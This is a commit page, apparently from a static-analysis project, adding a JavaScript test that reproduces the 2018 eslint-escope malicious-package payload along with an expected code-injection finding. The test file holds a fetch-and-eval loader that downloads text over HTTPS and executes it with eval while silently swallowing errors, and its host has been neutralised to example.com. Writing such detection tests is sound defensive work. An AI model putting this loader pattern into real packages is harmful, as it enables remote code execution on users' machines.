Skip to content

Commit 7fe5620

Browse files
committed
JavaScript: add the ESLint attack as a test
1 parent 14fb562 commit 7fe5620

File tree

2 files changed

+28
-0
lines changed

2 files changed

+28
-0
lines changed

javascript/ql/test/query-tests/Security/CWE-094/CodeInjection.expected

Lines changed: 1 addition & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -12,6 +12,7 @@
1212
| angularjs.js:47:16:47:30 | document.cookie | $@ flows to here and is interpreted as code. | angularjs.js:47:16:47:30 | document.cookie | User-provided value |
1313
| angularjs.js:50:22:50:36 | document.cookie | $@ flows to here and is interpreted as code. | angularjs.js:50:22:50:36 | document.cookie | User-provided value |
1414
| angularjs.js:53:32:53:46 | document.cookie | $@ flows to here and is interpreted as code. | angularjs.js:53:32:53:46 | document.cookie | User-provided value |
15+
| eslint-escope-build.js:21:16:21:16 | c | $@ flows to here and is interpreted as code. | eslint-escope-build.js:20:22:20:22 | c | User-provided value |
1516
| express.js:7:24:7:69 | "return ... + "];" | $@ flows to here and is interpreted as code. | express.js:7:44:7:62 | req.param("wobble") | User-provided value |
1617
| express.js:9:34:9:79 | "return ... + "];" | $@ flows to here and is interpreted as code. | express.js:9:54:9:72 | req.param("wobble") | User-provided value |
1718
| express.js:12:8:12:53 | "return ... + "];" | $@ flows to here and is interpreted as code. | express.js:12:28:12:46 | req.param("wobble") | User-provided value |
Lines changed: 27 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,27 @@
1+
// the eslint-escope attack, with the URL altered to avoid triggering antivirus software.
2+
// See https://eslint.org/blog/2018/07/postmortem-for-malicious-package-publishes
3+
4+
try {
5+
var https = require("https");
6+
https
7+
.get(
8+
{
9+
hostname: "example.com",
10+
path: "modified/to/avoid/antivirus",
11+
headers: {
12+
"User-Agent":
13+
"Mozilla/5.0 (Windows NT 6.1; rv:52.0) Gecko/20100101 Firefox/52.0",
14+
Accept:
15+
"text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8"
16+
}
17+
},
18+
r => {
19+
r.setEncoding("utf8");
20+
r.on("data", c => {
21+
eval(c);
22+
});
23+
r.on("error", () => {});
24+
}
25+
)
26+
.on("error", () => {});
27+
} catch (e) {}

0 commit comments

Comments
 (0)